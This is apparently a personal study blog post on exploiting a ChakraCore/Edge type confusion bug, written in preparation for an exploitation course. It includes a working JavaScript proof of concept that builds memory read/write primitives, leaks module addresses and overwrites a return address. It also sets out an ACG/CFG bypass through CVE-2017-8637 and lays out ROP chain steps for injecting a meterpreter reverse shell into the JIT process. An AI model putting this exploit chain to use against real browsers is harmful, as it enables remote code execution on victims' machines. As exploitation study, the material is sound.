05 0000003a`f39fd8e0 00007ffb`53b72904     chakracore!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x235 [c:\users\ieuser\documents\typeconfusion\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 3861] 
06 0000003a`f39fd9e0 00007ffb`53b743a6     chakracore!Js::InterpreterStackFrame::OP_ProfileCallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x1b4 [c:\users\ieuser\documents\typeconfusion\chakracore\lib\runtime\language\interpreterstackframe.cpp @ 3904] 
...
21 0000003a`f39ff3b0 00007ffb`54ae8f20     chakracore!CompileRun+0x202 [c:\users\ieuser\documents\typeconfusion\chakracore\lib\jsrt\jsrt.cpp @ 5037] 
22 0000003a`f39ff4b0 00007ff7`f0d443bc     chakracore!JsRun+0x40 [c:\users\ieuser\documents\typeconfusion\chakracore\lib\jsrt\jsrt.cpp @ 5059] 
23 0000003a`f39ff4f0 00007ff7`f0d458aa     CH!ChakraRTInterface::JsRun+0x3c [c:\users\ieuser\documents\typeconfusion\chakracore\bin\ch\chakrartinterface.h @ 423] 
24 0000003a`f39ff530 00007ff7`f0d439b2     CH!RunScript+0x7fa [c:\users\ieuser\documents\typeconfusion\chakracore\bin\ch\ch.cpp @ 491] 
25 0000003a`f39ff680 00007ff7`f0d43a66     CH!ExecuteTest+0xb62 [c:\users\ieuser\documents\typeconfusion\chakracore\bin\ch\ch.cpp @ 966] 
26 0000003a`f39ffaf0 00007ff7`f0d45b81     CH!ExecuteTestWithMemoryCheck+0x36 [c:\users\ieuser\documents\typeconfusion\chakracore\bin\ch\ch.cpp @ 1008] 
27 0000003a`f39ffb40 00007ff7`f0dd0378     CH!StaticThreadProc+0x21 [c:\users\ieuser\documents\typeconfusion\chakracore\bin\ch\ch.cpp @ 1113] 
28 0000003a`f39ffb80 00007ff7`f0dcff21     CH!invoke_thread_procedure+0x28 [minkernel\crts\ucrt\src\appcrt\startup\thread.cpp @ 92] 
29 0000003a`f39ffbc0 00007ffb`7b6e2774     CH!thread_start<unsigned int (__cdecl*)(void * __ptr64)>+0x91 [minkernel\crts\ucrt\src\appcrt\startup\thread.cpp @ 115] 
2a 0000003a`f39ffc10 00007ffb`7e1e0d61     KERNEL32!BaseThreadInitThunk+0x14
2b 0000003a`f39ffc40 00000000`00000000     ntdll!RtlUserThreadStart+0x21

Next, I identiiedy the StackBase and StackLimit from !teb.

0:002> !teb
TEB at 0000003af3656000
    ExceptionList:        0000000000000000
    StackBase:            0000003af3a00000
    StackLimit:           0000003af39f9000
    SubSystemTib:         0000000000000000
    FiberData:            0000000000001e00
    ArbitraryUserPointer: 0000000000000000
    Self:                 0000003af3656000
    EnvironmentPointer:   0000000000000000
    ClientId:             0000000000000468 . 0000000000000e90
    RpcHandle:            0000000000000000
    Tls Storage:          0000015b88c470a0
    PEB Address:          0000003af3651000
    LastErrorValue:       0
    LastStatusValue:      c0000139
    Count Owned Locks:    0
    HardErrorMode:        0

The next step was to search stack memory for the address of chakracore!JsRun+0x40. In this case it was located at address 0000003a`f39ff4e8.

0:002> s -q 3af39f9000 L?3af3a00000 00007ff7`f0d443bc
0000003a`f39ff4e8  00007ff7`f0d443bc 00000163`8a7e6000

Then I disassembled the return address to ensure it looked like a return address.

0:002> u 00007ffb`54ae8f20
chakracore!JsRun+0x40 [c:\users\ieuser\documents\typeconfusion\chakracore\lib\jsrt\jsrt.cpp @ 5059]:
00007ffb`54ae8f20 4883c438        add     rsp,38h
00007ffb`54ae8f24 c3              ret
00007ffb`54ae8f25 cc              int     3
00007ffb`54ae8f26 cc              int     3
...

To exploit Edge instead of ChakraCore, all of these steps would have to be performed against the stack leaked from leafInterpreterFrame instead. The stack address leaked there is actually from a different thread, so likely in WinDbg you would have to somehow pause that thread and check the call stack there. Alternatively, Conner uses a method where his PoC prints all the values in the stack and he manually reviews them afterward to look for a return address. Then he checked them one by one until he found a suitable one that worked.

Updating the PoC

With return address in hand, the next step was to update the PoC code locate this address on the stack and overwrite it with something invalid, like 0x41414141`41414141 to prove that RIP could be controlled. However, due to Address Space Layout Randomization (ASLR), the base address of chakracore.dll changes with each execution. That means that the return address itself would change as well, making it difficult to search for. It couldn’t just be hard coded into the exploit. Luckily, the return address is always located at the same offset from Chakracore.dll’s base address. So if the base address can be obtained, the offset can simply be added to the base address to obtain the return address. Here is the general idea:

  1. Leak a chakracore.dll module address
  2. Calculate the base address of chakracore.dll
  3. Add an offset to a known return address

First, calculate the offset of the return address from chakracore.dll.

0:002> ? 00007ffb`54ae8f20 - chakracore.dll
Evaluate expression: 24547104 = 00000000`01768f20

With the offset known, the PoC could be updated. First, add some helper functions like Connor did:

  • hex() - Convert an address to a hex string representation
  • read64() - Return a 64-bit value at a given 64-bit address
  • write64() - Write a 64-bit value to a given 64-bit address
let obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function read64(addrLo, addrHi){
    dv1.setUint32(0x38, addrLo, true);	// Tell dv2 to read/write from specified address (low DWORD)
    dv1.setUint32(0x3C, addrHi, true);	// Tell dv2 to read/write from specified address (high DWORD)

    var readVal = new Uint32Array(0x10);
    readVal[0] = dv2.getUint32(0x0, true);	// Read the low DWORD at specified address
    readVal[1] = dv2.getUint32(0x4, true);	// Read the high DWORD at specified address

    return readVal;
}

function write64(addrLo, addrHi, lo, hi){
    dv1.setUint32(0x38, addrLo, true);	// Tell dv2 to read/write from specified address (low DWORD)
    dv1.setUint32(0x3C, addrHi, true);	// Tell dv2 to read/write from specified address (high DWORD)

    dv2.setUint32(0x0, lo, true);	
    dv2.setUint32(0x4, hi, true);	
}

function hex(i){
    return i.toString(16);
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);				// Corrupt o auxSlots to point at obj	
    o.c = dv1;    				// Corrupt obj auxSlots to point at dv1
    obj.h = dv2;				// Corrupt dv1 so it actually manipulates the metadata for dv2
	
    vtableLo   = dv1.getUint32(0x0, true);	// Leak VTable Low Address
    vtableHi   = dv1.getUint32(0x4, true);	// Leak VTable High Address

    typeLo	= dv1.getUint32(0x8, true);	// Leak Type pointer low
    typeHi	= dv1.getUint32(0xC, true);	// Leak Type pointer high

    var jslAddr = read64(typeLo + 0x08, typeHi);		// Pointer chain: Type -> javaScriptLibrary
    var scAddr = read64(jslAddr[0] + 0x450, jslAddr[1]);	// Pointer chain: javaScriptLibrary -> scriptContext
    var tcAddr = read64(scAddr[0] + 0x3b8, scAddr[1]);		// Pointer chain: scriptContext -> threadContext
    var stackLeak = read64(tcAddr[0] + 0xc8, tcAddr[1]);	// Pointer chain: threadContext -> stackLimitForCurrentThread (stack address leak)
    var stackLimitLo = stackLeak[0] + 0xed000;			// Calculate stack limit based on info learned from WinDbg		
    var stackLimitHi = stackLeak[1];
    var chakraCoreLo = vtableLo - 0x019ceda8;			// Calculate ChakraCore.dll base address from the vtable leaked pointer
    var chakraCoreHi = vtableHi;

    // Print values for debugging
    print("Leaked vtable: " + hex(vtableHi) + "`" + hex(vtableLo));
    print("Leaked type pointer: " + hex(typeHi) + "`" + hex(typeLo));
    print("JSL: " + hex(jslAddr[1]) + "`" + hex(jslAddr[0]));
    print("tcAddr: " + hex(tcAddr[1]) + "`" + hex(tcAddr[0]));
    print("stackLeak: " + hex(stackLeak[1]) + "`" + hex(stackLeak[0]));
    print("Stack Limit: " + hex(stackLimitHi) + "`" + hex(stackLimitLo));
    print("Chakracore base: " + hex(chakraCoreHi) + "`" + hex(chakraCoreLo));

    // Calculate the known return address from the ChakraCore.dll base
    var retAddrLo = chakraCoreLo + 0x1768f20; //0xcd9b12;
    var retAddrHi = chakraCoreHi;
    print("retAddr: " + hex(retAddrHi) + "`"  + hex(retAddrLo));

    // Loop through stack memory searching for the known return address
    // Once it's found, replace it with 0x41414141`41414141
    var counter = 0;
    while (true) {
        var tempAddr = read64(stackLimitLo + counter, stackLimitHi);
        if ((tempAddr[0] == retAddrLo) && (tempAddr[1] == retAddrHi)) {
            print("Replaced address!");
            write64(stackLimitLo + counter, stackLimitHi, 0x41414141, 0x41414141);
            break;
        } else {
            counter = counter + 0x8;
        }
    }
}

main();

The last bit added was the while() loop at the end. This loop begins at the stack limit address and checks to see what value is written there. If it happens to be the calculated return address, then the address overwritten. If it isn’t, 0x8 is added to the address and the loop runs again. This happens forever until the address is either found and replaced or the exploit triggers an access violation.

Once the value is overwritten, program execution continues. Eventually a function should return that triggers the corrupted return address to get popped into RIP. Executing the PoC returned the following console output:

Leaked vtable: 7ffb`54d4eda8
Leaked type pointer: 145`f6e2040
JSL: 145`f6d8000
tcAddr: 13d`dde0a50
stackLeak: 1f`2cc0c000
Stack Limit: 1f`2ccf9000
Chakracore base: 7ffb`53380000
retAddr: 7ffb`54ae8f20
Replaced address!

WinDbg showed an access violation:

(148c.19b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chakracore!CompileRun+0x20b:
00007ffb`54adf76b c3              ret

The call stack revealed the return address was overwitten with 0x41414141`41414141 just as planned!

0:002> k
 # Child-SP          RetAddr               Call Site
00 0000001f`2ccff1e8 41414141`41414141     chakracore!CompileRun+0x20b [c:\users\ieuser\documents\typeconfusion\chakracore\lib\jsrt\jsrt.cpp @ 5037] 
01 0000001f`2ccff1f0 00000145`0f6f6000     0x41414141`41414141
02 0000001f`2ccff1f8 00000000`00000000     0x00000145`0f6f6000

An access violation was triggered because the return address was invalid. The next step is to build a payload.

Kernel32

Any useful payload will likely need to call Windows APIs such as CreateProcessA. These functions reside in kernel32.dll. Thanks to ASLR, the kernel32.dll base address will change with each Windows reboot. Therefore, kernel32 function pointers cannot be hardcoded. Instead, the exploit must leak a pointer to kernel32 at some known offset. Then the offset can be calculated to obtain the kernel32.dll base address. With the base address in hand, the payload can calculate the address of any kernel32 function for a given version of Windows.

Any given module is likely to use API methods from kernel32.dll, meaning that the module must import those functions. A module maintains an Import Address Table (IAT) with a list of all imported functions and their pointers. The IAT is luckily always located at the same offset from the main module’s base address. Therefore, the process to obtain the kernel32.dll base address looks like this:

  1. Calculate chakracore.dll base address (Already complete)
  2. Add the offset to the IAT
  3. Retrieve a pointer to a kernel32.dll function from within the IAT
  4. Subtract an offset to obtain the kernel32.dll base address

WinDbg can show the IAT with the Display headers (dh) command:

0:002> !dh chakracore

File Type: DLL
FILE HEADER VALUES
    8664 machine (X64)
       9 number of sections
62A7FA7A time date stamp Mon Jun 13 20:03:22 2022

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
    2022 characteristics
            Executable
            App can handle >2gb addresses
            DLL

OPTIONAL HEADER VALUES
     20B magic #
   14.16 linker version
 17BE600 size of code
  726200 size of initialized data
       0 size of uninitialized data
  F38AE0 address of entry point
    1000 base of code
         ----- new -----
00007ffb53380000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.01 operating system version
    0.00 image version
    6.01 subsystem version
 1EEB000 size of image
     400 size of headers
 1EA3856 checksum
0000000000100000 size of stack reserve
0000000000001000 size of stack commit
0000000000100000 size of heap reserve
0000000000001000 size of heap commit
    4160  DLL characteristics
            High entropy VA supported
            Dynamic base
            NX compatible
            Guard
 1CD7900 [    1864] address [size] of Export Directory
 1CD9164 [      B4] address [size] of Import Directory
 1EAA000 [   1B238] address [size] of Resource Directory
 1DA9000 [   FDE00] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
 1EC6000 [   240CC] address [size] of Base Relocation Directory
 1BD5B80 [      54] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
 1BD5BD8 [      28] address [size] of Thread Storage Directory
 1ABDE00 [     100] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
 17C0000 [     740] address [size] of Import Address Table Directory
 1CD7864 [      40] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory
...

The important line is:

17C0000 [     740] address [size] of Import Address Table Directory

The offset to the IAT ix 0x17C0000. Now the IAT can be viewed along with pointers to the various imported functions.

0:002> dqs chakracore + 17c0000
00007ffb`54b40000  00007ffb`7e1bad40 ntdll!EtwEventRegister
00007ffb`54b40008  00007ffb`7e1dfaf0 ntdll!EtwEventActivityIdControl
00007ffb`54b40010  00007ffb`7e1cc800 ntdll!EtwEventWriteTransfer
00007ffb`54b40018  00007ffb`7b915dc0 ADVAPI32!RegGetValueWStub
00007ffb`54b40020  00007ffb`7b914aa0 ADVAPI32!RegOpenKeyExWStub
00007ffb`54b40028  00007ffb`7b914c50 ADVAPI32!RegCloseKeyStub
00007ffb`54b40030  00007ffb`7e1cd010 ntdll!EtwEventUnregister
00007ffb`54b40038  00000000`00000000
00007ffb`54b40040  00007ffb`7b6ed890 KERNEL32!RaiseExceptionStub
00007ffb`54b40048  00007ffb`7b6e33c0 KERNEL32!GetLastErrorStub
00007ffb`54b40050  00007ffb`7b6ed2a0 KERNEL32!GetSystemInfoStub
00007ffb`54b40058  00007ffb`7b6eb320 KERNEL32!VirtualProtectStub
00007ffb`54b40060  00007ffb`7b6ebc20 KERNEL32!VirtualQueryStub
00007ffb`54b40068  00007ffb`7b6ebf60 KERNEL32!FreeLibraryStub
00007ffb`54b40070  00007ffb`7b6ee020 KERNEL32!LoadLibraryExAStub
00007ffb`54b40078  00007ffb`7e1d6980 ntdll!RtlDeleteCriticalSection

Any kernel32 module can be chosen to calculate the base address of kernel32, but KERNEL32!DuplicateHandle will be useful later, so it’s a good choice.

00007ffb`54b40228  00007ffb`7b6f1f10 KERNEL32!DuplicateHandle

The above line shows that a pointer to KERNEL32!DuplicateHandle can be found at address 00007ffb`54b40228 in ChakraCore.dll. ChakraCore’s base address will change regularly, so instead of saving the absolute address to the pointer it’s better to save the offset from ChakraCore’s base address.

0:002> ? 00007ffb`54b40228 - chakracore
Evaluate expression: 24904232 = 00000000`017c0228

The offset to the DuplicateHandle pointer is +0x017c0228. The next step is to calculate the offset of DuplicateHandle from kernel32’s base address.

0:002> ?kernel32!DuplicateHandle - kernel32
Evaluate expression: 139024 = 00000000`00021f10

The DuplicateHandle function is located at +0x00021f10 from Kernel32’s base address. This is all the information needed to obtain kernel32’s base address from within the exploit:

  1. Calculate chakracore.dll base address (Already complete)
  2. Add the offset 0x017c0228 to ChakreCore to obtain the address of the DuplicateHandle pointer
  3. Dereference the above address to obtain a pointer to DuplicateHandle
  4. Subtract 0x00021f10 to obtain the base address of Kernel32

The PoC code can be updated to calculate these addresses:

...
    var jslAddr = read64(typeLo + 0x08, typeHi);		    // Pointer chain: Type -> javaScriptLibrary
    var scAddr = read64(jslAddr[0] + 0x450, jslAddr[1]);	// Pointer chain: javaScriptLibrary -> scriptContext
    var tcAddr = read64(scAddr[0] + 0x3b8, scAddr[1]);		// Pointer chain: scriptContext -> threadContext
    var stackLeak = read64(tcAddr[0] + 0xc8, tcAddr[1]);	// Pointer chain: threadContext -> stackLimitForCurrentThread (stack address leak)
    var stackLimitLo = stackLeak[0] + 0xed000;			// Calculate stack limit based on info learned from WinDbg		
    var stackLimitHi = stackLeak[1];
    var chakraCoreLo = vtableLo - 0x019ceda8;			// Calculate ChakraCore.dll base address from the vtable leaked pointer
    var chakraCoreHi = vtableHi;
    var dupHandle = read64(chakraCoreLo + 0x017c0228, chakraCoreHi);    // Calculate address to kernel32!DuplicateHandle
    var kernel32Lo = dupHandle[0] - 0x00021f10;                         // Claculate kernel32 base address Low
    var kernel32Hi = dupHandle[1];                                      // Calculate kernel32 base address High

    // Print values for debugging
    print("Leaked vtable: " + hex(vtableHi) + "`" + hex(vtableLo));
    print("Leaked type pointer: " + hex(typeHi) + "`" + hex(typeLo));
    print("JSL: " + hex(jslAddr[1]) + "`" + hex(jslAddr[0]));
    print("tcAddr: " + hex(tcAddr[1]) + "`" + hex(tcAddr[0]));
    print("stackLeak: " + hex(stackLeak[1]) + "`" + hex(stackLeak[0]));
    print("Stack Limit: " + hex(stackLimitHi) + "`" + hex(stackLimitLo));
    print("Chakracore base: " + hex(chakraCoreHi) + "`" + hex(chakraCoreLo));
    print("Kernel32!DuplicateHandle: " + hex(dupHandle[1]) + "`" + hex(dupHandle[0]));
    print("Kernel32 base: " + hex(kernel32Hi) + "`" + hex(kernel32Lo));
...

The updated script then outputs the following:

Leaked vtable: 7ffb`54d4eda8
Leaked type pointer: 20a`26b92040
JSL: 20a`26b88000
tcAddr: 202`26b60a50
stackLeak: c1`710c000
Stack Limit: c1`71f9000
Chakracore base: 7ffb`53380000
Kernel32!DuplicateHandle: 7ffb`7b6f1f10
Kernel32 base: 7ffb`7b6d0000
retAddr: 7ffb`54ae8f20
Replaced address!

Checking the addresses in WinDbg reveals that everything was calculated correctly.

0:002> ?Kernel32
Evaluate expression: 140718084259840 = 00007ffb`7b6d0000

0:002> ?kernel32!DuplicateHandle
Evaluate expression: 140718084398864 = 00007ffb`7b6f1f10

Everything worked as expected. All of the building blocks are in place to build a useful payload. There’s just one last problem to overcome to exploit ChakraCore.

Bypassing DEP

ChakraCore is compiled with data execution prevention (DEP). Stack addresses are not executable, meaning that if an exploit places a stack address into RIP, the CPU will not be able to execute any code there. An exception will be triggered instead. The typical way to bypass DEP is with return-oriented programming (ROP). A ROP chain essentially reuses little bits of code that already exist in executable memory. These bits of code are called gadgets. An exploit can chain many of these bits together into a “ROP chain” to execute a desired outcome, like execute a process or spawn a reverse shell. Connor’s blog finishes out the ChakraCore section by building a ROP chain. I won’t be repeating the process here because I’m already familiar with ROP chains and I currently have to prioritize my time on learning new skills and techniques that I haven’t used before. If you want to see how a ROP chain can be used to execute a useful payload with this exploit, check out part two of Connor’s blog.

Exploiting Edge

The PoC as it’s written up to this point works with the open source ChakraCore engine, but it requires modification to work properly with Microsoft Edge and the closed-source Chakra engine. First, there are extra exploit mitigations present in Edge that weren’t relevent in ChakraCore. These mitigations must be bypassed in order to obtain code execution in Edge. Second, some of the pointer offsets are different in Chakra, so those need to be updated.

Edge Exploit Mitigations

Code Integrity Guard (CIG)

CIG only permits Microsoft-signed DLL’s to be loaded into the process space. This prevents an attacker from loading an malicious unsigned DLL into memory.

No Child Processes

This mitigation prevents Edge from spawning any child processes. Good luck popping calc.exe!

Arbitrary Code Guard (ACG)

ACG prevents a process from creating and modifying code pages in memory. Existing code pages cannot be made writable so an attacker cannot add malicious code to an executable page. For example, VirtualProtect cannot be used to change a code page’s permissions to PAGE_EXECUTE_READWRITE. Also, new unsigned code pages cannot be created. VirtualAlloc cannot be used to create a new memory page with PAGE_EXECUTE_READWRITE permissions. With ACG, an attacker can write their code to memory but they will not be able to execute it.

This is a good security measure, but there’s a pretty big flaw here. Edge uses JIT to compile bits of JavaScript code into byte code on the fly. This means Edge would have to create new bits of executable memory whenever needed. This is directly incompatible with ACG. ACG would prevent JIT from functioning at all. To work around this problm, Edge actually uses multiple processes.

  • MicrosoftEdge.exe
  • MicrosoftEdgeCP.exe
  • MicrosoftEdgeCP.exe

The primary process is MicrosoftEdge.exe. The other two process are a content process and a JIT process. The content process actually renders the JavaScript, HTML, CSS, etc, that a user sees in the browser. The content process has ACG enabled and therefore is incapable of creating new writable and executable memory. JIT simply would not function inside this process. The JIT process has ACG disabled. It can therefore generate new executable code on the fly without restricton. It then injects the newly generated code back into the content process with ACG-compliant permissions (readable/executable). It’s an interesting way to workaround the ACG problem, but it turns out the implementation was flawed.

The JIT process will ultimately need to inject code back into the content process. In order to do this, it requires a handle to the content process. How does it obtain this handle? The content process passes a handle to the JIT process.

The content process will first call GetCurrentProcess() to obtain a pseudo handle to itself. A pseudo handle is a handle to the current process that only functions within the process that created it. A pseudo handle cannot be passed to the JIT process because the handle would not function outside of the content process. It is also important to note that a pseudo handle has PROCESS_ALL_ACCESS permission. It then calls DuplicateHandle() against the pseudo handle. This creates a real handle to the process that can be used by other processes. It’s a way to convert a pseudo handle to a real handle. This real handle will also have PROCESS_ALL_ACCESS permission, which the JIT server can use to inject code back into the content process.

Here is the funcion prototype for DuplicateHandle():

BOOL DuplicateHandle(
  [in]  HANDLE   hSourceProcessHandle,
  [in]  HANDLE   hSourceHandle,
  [in]  HANDLE   hTargetProcessHandle,
  [out] LPHANDLE lpTargetHandle,
  [in]  DWORD    dwDesiredAccess,
  [in]  BOOL     bInheritHandle,
  [in]  DWORD    dwOptions
);

Arguments:

  • hSourceProcessHandle - A handle to the process with the handle to be duplicated. The handle must have the PROCESS_DUP_HANDLE access right.
  • hSourceHandle - The handle to be duplicated.
  • hTargetProcessHandle - A handle to the process that is to receive the duplicated handle. The handle must have the PROCESS_DUP_HANDLE access right.
  • lpTargetHandle - A pointer to a variable that receives the duplicate handle. This handle value is valid in the context of the target process.
  • dwDesiredAccess - The access requested for the new handle.
  • bInheritHandle - Indicates whether the handle is inheritable.
  • dwOptions - Optional actions.

The DuplicateHandle() function’s third argument is hTargetProcessHandle. When calling DuplicateHandle(), you must provide a handle to the target process which will use the newly generated handle. This means that the content process must already have a handle to the JIT process, and that handle must have PROCESS_DUP_HANDLE permission. If the content process has a handle to the JIT process, why can’t an exploit use the read primitive to obtain the handle and then use something like VirtualAllocEx to inject code into the JIT process using that handle? The reason is VirtualAllocEx requires the handle to have the PROCESS_VM_OPERATION permission. The existing handle only has the PROCESS_DUP_HANDLE permission, so it cannot be used to inject code into the other process. An exploit would need a way to obtain a handle with additional permissions…

CVE-2017-8637

As it turns out, there is a vulnerability in the DuplicateHandle() procedure that can be abused to do exactly that. The content process can call DuplicateHandle() with the following parameters:

BOOL DuplicateHandle(
  [in]  HANDLE   jitHandle,             // hSourceProcessHandle
  [in]  HANDLE   0xFFFFFFFF`FFFFFFFF,   // hSourceHandle
  [in]  HANDLE   0xFFFFFFFF`FFFFFFFF,   // hTargetProcessHandle
  [out] LPHANDLE &lpTargetHandle,       // lpTargetHandle
  [in]  DWORD    0,                     // dwDesiredAccess
  [in]  BOOL     0,                     // bInheritHandle
  [in]  DWORD    DUPLICATE_SAME_ACCESS  // dwOptions
);

To exploit this function, the arguments are setup like this:

  • The content process has a handle to the JIT process with PROCESS_DUP_HANDLE permission, so this is passed as the first argument. That tells DuplicateHandle() that the handle to be copied exists in the JIT processes memory space instead of the content processes memory space.

  • The second parameter is 0xFFFFFFFF`FFFFFFFF. This normally represents a pseudo handle to the current process (content process) but because the first parameter was a handle to the JIT process, it instead will return a pseudo handle to the JIT process. The pseudo handle will have the PROCESS_ALL_ACCESS permission to the JIT process.

  • The third argument tells DuplicateHandle which process needs access to the new handle. The pseudo handle 0xFFFFFFFF`FFFFFFFF tells it that the content process needs access.

  • lpTargetHandle is just a pointer to store the newly created handle.

  • dwDesiredAccess will ultimatey be ignored because we will set dwOptions to DUPLICATE_SAME_ACCESS.

  • bInheritHandle is set to 0, indicating that the handle will not be inheritable by new processes created by the target process. This doesn’t matter for the exploit.

  • dwOptions is set to DUPLICATE_SAME_ACCESS, which tells DuplicateHandle() that the newly created handle should have the same permissions as hSourceHandle, which is the JIT processes pseudo handle. This means that the new handle will have the PROCESS_ALL_ACCESS permission.

With the DuplicateHandle() call setup this way, it generates a duplicated handle to the JIT process with the PROCESS_ALL_ACCESS permission. The new handle can then be used to inject code into the JIT process. It is effectively a privilege escalation vulnerability.

With this in mind, the goal would be:

  1. Leak the existing low privilege JIT process handle using the type confusion read primitive
  2. Use ROP to call DuplicateHandle() on the JIT processes pseudo handle
  3. Use the newly created high privilege handle to inject a payload into the JIT process
  4. Execute the payload inside the JIT process

But wait! There’s another problem in the way! A process protected by ACG cannot inject RWX memory and execute it in a process that is not protected with ACG. This security mechanism protects the system from exactly the type of attack discussed above. There is a way to work around this problem though. The content process can inject a ROP chain into the JIT process because a ROP chain only requires RW permissions. If the content process can then somehow hijack the control flow of the JIT process to initiate the ROP chain, the ROP chain can then allocate the RWX memory, inject the final shellcode stage, and execute it. Now the process looks like this:

  1. Leak the low privilege JIT process handle using the type confusion read primitive
  2. Use ROP to call DuplicateHandle() on the JIT processes pseudo handle
  3. Use the newly created high privilege handle to call VirtualAllocEx() on the JIT process and create RW memory
  4. Create a thread in the JIT process in a suspended state. The thread entry point will be a RET ROP gadget
  5. Retrieve the RSP stack pointer from the CONTEXT structure of the newly created thread
  6. Use WriteProcessMemory() to write a ROP chain to the new thread’s stack based on the retrieved RSP address
  7. Update the instruction pointer of the thread to return into the ROP chain
  8. Call ResumeThread to trigger the ROP chain

From there the ROP chain will be triggered to mark the final shellcode as RWX and execute it.

Updating Pointers

Edge with Chakra is similar to the open source ChakraCore, but not identical. Some pointers need to be updated for the exploit to function inside Edge. First, any offsets calculated from the ChakraCore.dll base address need to be updated for chakra.dll as they will be different. Second, chakra.dll imports kernelbase.dll instead of kernel32.dll. They should have the same functions, but the offset will be different. All the work done previously to calculate the kernel32 base address based on the ChakraCore import table must be fixed.

The references that will need updating are:

  • Initial stack address leak
    • stackLimitForCurrentThread offset -> leafInterpreterFrame offset
  • ChakraCore.dll -> chakra.dll
    • vftable offset
    • Return address offset
  • Kernel32.dll -> KernelBase.dll
    • Kernel base address calculation
    • Offsets to kernel32 functions

I won’t go through the whole process here. The basic process is the same as before. It’s just a matter of using WinDbg to identify the correct offset for chakra.dll and then adjusting the offsets in the PoC code. Connor’s blog also walks through the process.

Shellcode

The JIT process doesn’t have ACG but it does have CIG, so it can’t run unsigned DLLs. CIG does not protect against reflective DLL injection, though. Metasploit payloads often use this technique, so a staged meterpreter reverse shell will work just fine and can be easily generated with msfvenom.

The last piece of the puzzle is to build an enormous ROP chain that accomplishes all of the goals previously outlined. I don’t have the time to actually go through that exercise because there are other areas I need to study before the OffSec course this summer. Building ROP chains can take a significant amount of time. I also am already familiar with the concept of ROP chains so I think my limited time would be better spent elsewhere for now. Though working with fastcall would probably be beneficial since I haven’t done it before. I may revisit this later if I have time. For more detail, Connor’s blog walks through the entire process step by step. The real important bit to note is what the ROP chains are actually doing to accomplish the goal. The exact gadgets used are not as important because there are many ways to skin that cat.

Before starting to build the ROP chain, a code cave is needed in the content process to temporarily store the final shellcode. Connor used empty space in chakra.dll’s .data section. He also used some empty data segments in kernelbase.dll to store a few variables along the way. Finally, I’ll just post a list of the overall process used by the ROP chains to execute arbitrary code in the JIT process.

Content Process (primary) ROP Chain

  1. Copy final metasploit shellcode into Chakra.dll code cave using the write primitive.
  2. Call DuplicateHandle() to obtain a privileged handle to JIT process.
  3. Call VirtualAllocEx() against the JIT process to allocate RW memory. You can’t allocate RWX memory because of ACG.
  4. Call WriteProcessMemory() to copy the shellcode to the allocated space in the JIT process.
  5. Call CreateRemoteThread() on the JIT process to start a new thread in a SUSPENDED state.
  6. Call WriteProcessMemory() to overwrite a placeholder in the secondary ROP chain to tell it what address to modify. This is the shellcode’s address.
  7. Call WriteProcessMemory() to overwrite a placeholder in the secondary ROP chain to tell it where to return execution to. This is also the shellcode’s address.
  8. Call VirtualAlloc() to create a space of 0x4d0 bytes to hold a CONTEXT structure.
  9. Call GetThreadContext() against the created JIT thread and store it in the 0x4d0 bytes. This leaks the RSP stack pointer value and provides a way to update RIP in the remote thread.
  10. Modify the RIP value in the CONTEXT structure to return to the JIT ROP chain. A CALL or JMP would fail a CFG check because it would need to call an invalid function address. This bypasses CFG altogether.
  11. Call WriteProcessMemory() to write the JIT ROP chain to the JIT process at the RSP location obtained from the CONTEXT structure. You can’t just update RSP in the remote thread to point anywhere because CFG uses a function called RtlGuardIsValidStackPointer to make sure RSP points to a stack address in the TEB. The stack address must be valid, so the secondary ROP chain must be written to a valid stack address.
  12. Call SetThreadContext() against the JIT thread to update RIP using the modified CONTEXT structure.
  13. Call ResumeThread() to begin execution of the thread and trigger the VirtualProtect() ROP chain.

JIT Process (secondary) ROP Chain

  1. Call VirtualProtect() to modify the shellcode memory to RWX.
  2. Push shellcode address onto the stack and then return to it. You can’t simply CALL or JMP to it because the shellcode address is not valid and CFG would block execution.

That’s it! Super easy stuff! OK, not really. It takes a large amount of effort to build out the ROP chains to do all of this, but Connor showed a great example of how it’s possible. This is the first I’ve learned about browser exploitation and my head feels a little bit like it’s going to explode. Time for a break before choosing another topic to study before the AWE course.